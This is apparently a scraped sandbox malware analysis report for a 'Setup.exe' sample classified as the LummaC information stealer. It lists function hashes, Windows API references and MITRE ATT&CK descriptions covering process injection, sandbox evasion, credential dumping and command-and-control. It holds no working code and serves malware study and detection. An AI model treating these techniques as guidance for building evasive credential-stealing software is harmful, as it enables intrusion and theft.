Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab64e1dd7400f464c18a355b74a0cd84bdfaf16cde87ebbb703724261a1614a6
Instruction ID: 9b8d8ab54524ba756b8e4d4fb9bffd3531f9ecca077ef98cf823f42f9fd864a8
Opcode Fuzzy Hash: ab64e1dd7400f464c18a355b74a0cd84bdfaf16cde87ebbb703724261a1614a6
Instruction Fuzzy Hash: E5415731A052009BC720CE1AD881F27B7E6ABDD719F14C93EE88197396D378DC41CB5A

Function 00405CB0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21afdf9225e2156eb8f3ff55e1eb3075e847cf380fe0617f79878b20a5d74563
Instruction ID: 8612e94a556a7e1a81245d0e75890434cf9b6b61a6d672561bfbaf10ae2b1f92
Opcode Fuzzy Hash: 21afdf9225e2156eb8f3ff55e1eb3075e847cf380fe0617f79878b20a5d74563
Instruction Fuzzy Hash: 7551D4759046009FC714DF14C840927B7A1FF85328F15867EE899AB392D635ED42CFDA

Function 0040A008 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588c543063016bffcb512c6dd808f674cac328c664f941015294e77c68c69208
Instruction ID: b572e52c58299cff02d15894344d2080921824c9e011d3736e5ecb98c81727eb
Opcode Fuzzy Hash: 588c543063016bffcb512c6dd808f674cac328c664f941015294e77c68c69208
Instruction Fuzzy Hash: AF615A35108380DFD7048F68D840A5FBBE2BB8A304F05892DF5C9962A1D774C964DB6B

Function 0043C870 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5987dcb9bd81718599e6e3eeb340e0b310847229e7ba1aff3bf8fccc070ed9d0
Instruction ID: e47ed0a9e3c759afece2a62adfbe8ee8ffe9b1b2051331d8849ea59ddf422d62
Opcode Fuzzy Hash: 5987dcb9bd81718599e6e3eeb340e0b310847229e7ba1aff3bf8fccc070ed9d0
Instruction Fuzzy Hash: E6310FB16043006BE7106A25DCD2F3B7799EF99758F06253AFC85B7293E225DC10875A

Function 0042F850 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19452ec21073fb882385a143cacaedabd7109b68e3d4f355fa505cc79a3f9baf
Instruction ID: f3b9448e6cad9697332114bed62cd4d17b35b4f01170d14ba1d13646ccbedd51
Opcode Fuzzy Hash: 19452ec21073fb882385a143cacaedabd7109b68e3d4f355fa505cc79a3f9baf
Instruction Fuzzy Hash: 0C312573E11A3807D7088D3E9C1026AB1D25BD5265BDEC379ED699F3C6DA349C1682D0

Function 0043BA40 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83547082dc067e5496c99d056fc1057db8c3cd28256c2576be87a6869b25da69
Instruction ID: 4e11933dad459701ff752eff5d81730530a64adaab41582a9f25e903cd75c361
Opcode Fuzzy Hash: 83547082dc067e5496c99d056fc1057db8c3cd28256c2576be87a6869b25da69
Instruction Fuzzy Hash: 4B216B3224831C4BC718AF55DC522BBF396EBCE710F09D62FD68687240EB78D90592D5

Function 00404CA0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a86abeefa7357f9bc868bab3ab689f038a56ae408238674b74a8fae3c8ad3ff
Instruction ID: 7a06a07bb2bfc34c6277920efd2c418af5d6f20d75161fc3d6cc889b713bdb6d
Opcode Fuzzy Hash: 0a86abeefa7357f9bc868bab3ab689f038a56ae408238674b74a8fae3c8ad3ff
Instruction Fuzzy Hash: 2531CCB16082009BD7149E59D880627B7E1EFC4318F19853FE999A73D1D339DD53CB4A

Function 00407150 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c61014a5e6f122ff9f1b38bddcb439dd125aa4f105d6153f6e84efffed074c1
Instruction ID: ed70f5b60fd5a346420f68f29e6beaeca0e00ab197bfff73a60a5a9dbb848ffa
Opcode Fuzzy Hash: 0c61014a5e6f122ff9f1b38bddcb439dd125aa4f105d6153f6e84efffed074c1
Instruction Fuzzy Hash: DB11043BF2C23107E350CE76DCC45176352FBDA21070A0839EA41E7382C636F842D195

Function 0040A49A Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7030ebba14a130416e5b016894051cc00a6cf49df40127377cf5a75043341e74
Instruction ID: 16dcee3ba08ccf173f32568616034aaebb60316f53ec5d1fbdbffb31f650449f
Opcode Fuzzy Hash: 7030ebba14a130416e5b016894051cc00a6cf49df40127377cf5a75043341e74
Instruction Fuzzy Hash: 28215F1524E3C1DA8396C67D08C448FAF924EFA004FD8AE9DF4C42B39BC5A4C559C7AB

Function 004393A0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 79ae12021e2354b86ae8de834f3a80a322a892d1e34b526bc58ccebb9260b299
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: F311E933A091D50EC3168D3C84405A5BFA31BAB234F19539BF4F59B2D2D6268D8BC359

Function 0042EB70 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda43b160796317a08369fdd6598b01dd2c77e22e051a72af65628de91256ab1
Instruction ID: b720faef0cb4415dbdc2f5f454a62bd2d44211232ce75d083da5c546d2d55283
Opcode Fuzzy Hash: fda43b160796317a08369fdd6598b01dd2c77e22e051a72af65628de91256ab1
Instruction Fuzzy Hash: 33019EB170031197DB20DE62E4D0B27B6AA6F84708F48053EE80657382DB79FC0582D9

Function 00442074 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccdc1d3d3b709c7debc46d02998c2a2a319d7c52e413480df0bd88b69bc71ca2
Instruction ID: cc9ee1dad1f40310e567cf0c47c754acd168049bc0d049a813758cfb97b3d173
Opcode Fuzzy Hash: ccdc1d3d3b709c7debc46d02998c2a2a319d7c52e413480df0bd88b69bc71ca2
Instruction Fuzzy Hash: 04F0F63961A3408BD309DF28C87022BB7E3ABD6301F1685ADD1C297351CB759812C789

Function 004358E7 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 87COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004358F0
VariantInit.OLEAUT32 ref: 004358FC

Strings

G, xrefs: 0043593A
I, xrefs: 00435912
#, xrefs: 00435956
C, xrefs: 0043592A
O, xrefs: 0043591A
E, xrefs: 00435942
A, xrefs: 00435932
M, xrefs: 00435922

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: #$A$C$E$G$I$M$O
API String ID: 2610073882-155276152
Opcode ID: cdf9746a0ad4b1564d5ffa0ca166dceda7750a7117fec424eb3a64adea50ba9d
Instruction ID: a5afa432bdac8d143af84eda03770dbb24f7a3549f064e541738663ed8bfee72
Opcode Fuzzy Hash: cdf9746a0ad4b1564d5ffa0ca166dceda7750a7117fec424eb3a64adea50ba9d
Instruction Fuzzy Hash: E8413A61208B82CFD715CF7C8898216BFE16F56214F08869CD9E94F3E6C778D50AC7A2

Function 00435CA0 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 79COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435CA9
VariantInit.OLEAUT32 ref: 00435CB5

Strings

M, xrefs: 00435CDE
E, xrefs: 00435CFE
I, xrefs: 00435CCE
O, xrefs: 00435CD6
A, xrefs: 00435CEE
#, xrefs: 00435D12
C, xrefs: 00435CE6
G, xrefs: 00435CF6

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: #$A$C$E$G$I$M$O
API String ID: 2610073882-155276152
Opcode ID: 6902c727b96f4c3c6c658118e41eb55654a9d4905dd0cbd1d401ecdececbefda
Instruction ID: 0103580703877f0a3893cc072dcc8119a020eec29ac40827f58b1dfb8c42a1eb
Opcode Fuzzy Hash: 6902c727b96f4c3c6c658118e41eb55654a9d4905dd0cbd1d401ecdececbefda
Instruction Fuzzy Hash: 5A412A60108BC18ED715CF3C8598216BFE06B56224F0886DCE9E98F3E7C379D806C7A2

Function 0041D8C0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102threadwindowCOMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,?,00000000), ref: 0041D69F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0041D6C6
IsWindowEnabled.USER32(00000000), ref: 0041D6E0
IsWindowVisible.USER32(00000000), ref: 0041D6F5

Strings

@C, xrefs: 0041D63A

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Window$EnabledFindProcessThreadVisible
String ID: @C
API String ID: 3858996717-1584745936
Opcode ID: ff136a64eaf1a301ad58b8e18eb23a6c3e4e44a73de58e597cc7a68850516475
Instruction ID: aac869336749b281c900a8d3212f0cddfd503a3e7b78bad9aeaf4376d88e5847
Opcode Fuzzy Hash: ff136a64eaf1a301ad58b8e18eb23a6c3e4e44a73de58e597cc7a68850516475
Instruction Fuzzy Hash: DD318D7861A382CFD3648F64E8A57DBB7E4BF86305F05887CE18587250DB348940CF4A

Function 0042865E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00428796
GetLogicalDrives.KERNEL32 ref: 004288E6

Strings

wq, xrefs: 00428809

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: DrivesLogical
String ID: wq
API String ID: 999431828-2451886393
Opcode ID: 5db4765303fc8a0c7ad7ece6cb0b33dcf1b913abde9ad4fb881f557d5a59063b
Instruction ID: c11c871228d15cc7a3d839f16c442a9732f1f9295d9bc8717ddac9b799efe20e
Opcode Fuzzy Hash: 5db4765303fc8a0c7ad7ece6cb0b33dcf1b913abde9ad4fb881f557d5a59063b
Instruction Fuzzy Hash: B25154B41093119FD710DF55E8A562BBBF0EF82785F809E1DE0DA4B361E7788904CB9A

Function 00437828 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00437862
GetSystemMetrics.USER32 ref: 00437871

Strings

, xrefs: 0043791C

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 0557580d31afd21fb392525a3f9b90b506a779c7b62e5b4206ab68adda158def
Instruction ID: 439bb75735320bbe8c2ea5b8eb2263a6e535e63a3f3b2efaa2b1167951669a5e
Opcode Fuzzy Hash: 0557580d31afd21fb392525a3f9b90b506a779c7b62e5b4206ab68adda158def
Instruction Fuzzy Hash: EB31C1B49183009FDB00EFA8D98561EBBF0BB89304F01896DE498DB365D3B49D58CB86

Function 0042C966 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,00000000), ref: 0042CA0D

Strings

g/W-, xrefs: 0042C999
T'\%, xrefs: 0042C9A7

Memory Dump Source

Source File: 00000002.00000002.2418307147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CopyFile
String ID: T'\%$g/W-
API String ID: 1304948518-2559879320
Opcode ID: edd073c49a8a493567abd0ba116b372d0a24b0d6ad1f8ca924c2fddb4ce0e533
Instruction ID: b32afdd0bc89de880709164cd681c60fbb51033ce8fc3778fee3b093565728bf
Opcode Fuzzy Hash: edd073c49a8a493567abd0ba116b372d0a24b0d6ad1f8ca924c2fddb4ce0e533
Instruction Fuzzy Hash: 191187B5654360CFC708CF18D989A8A7BB0EB05714F4A82E9D0559F362D378CA45DF94

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
Setup.exe

Function 004108F0 Relevance: 14.1, Strings: 11, Instructions: 385
COMMON

Function 0041E9B6 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 812
COMMON

Function 00426744 Relevance: 10.2, Strings: 8, Instructions: 165
COMMON

Function 0043C3FA Relevance: 8.2, APIs: 5, Instructions: 703
COMMON

Function 0040DF60 Relevance: 5.3, Strings: 4, Instructions: 340
COMMON

Function 0040F95D Relevance: 4.4, Strings: 3, Instructions: 643
COMMON

Function 0043C0A8 Relevance: 3.7, APIs: 2, Instructions: 697
COMMON

Function 0040D5F0 Relevance: 6.1, APIs: 4, Instructions: 68
threadCOMMON

Function 0043E615 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Function 0043BF63 Relevance: 3.1, APIs: 2, Instructions: 86
memoryCOMMON